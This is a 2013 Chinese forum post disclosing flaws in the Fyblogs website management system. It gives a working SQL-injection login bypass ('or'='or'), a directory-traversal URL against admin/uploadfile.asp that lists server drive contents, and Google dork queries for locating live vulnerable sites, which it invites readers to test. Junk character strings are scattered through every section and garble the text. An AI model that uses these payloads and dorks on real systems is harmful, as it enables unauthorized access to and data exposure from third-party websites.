漏洞类型： 未授权访问/权限绕过$ Q! f' T/ a, z! I3 t C; ` A7 d
L0 k7 |! R! f4 N0 U8 X, n
简要描述：2 Z1 `' _0 @7 I' |6 _
& N) f& Q. I- Q5 ?7 N2 JFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
7 ^; b" N- A8 B$ c% q) e
1 m" o5 h( _9 R0 E' I z详细说明：
3 U* j6 A' p; W
$ P1 `) G% {& k" F0 o3 ^4 N% L后台万能密码 'or'='or'
( T8 w3 ?( u. L0 U1 }后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！5 R" h$ i" G T) T2 @4 s- X) v
admin/uploadfile.asp?currentFolder=/upfiles/../* V. @/ y- }$ l2 d
: E9 s" u, l% K9 [. u/ z0 R2 S6 N7 O
漏洞证明：0 v. _* `2 q: |( X# |1 F$ m% O, M0 d
3 O2 v( W$ W& Y/ [/ k; G谷歌：inurl:type.asp?id=1 新闻中心2 N4 V6 \2 x* c6 O
或者 ：inurl:download_ok.asp?
; a7 C9 y( o0 ]8 c& Q- H' P7 C0 ^6 r+ u' n: s1 U
可以测试0 R' I' E3 R2 t: N
4 Q+ ]8 }- K" `- p. J! ?: t
6 L0 h0 V7 O2 c) i0 r( T- a& r7 m3 W |
发表于 2013-3-7 13:07:46
收藏
支持
反对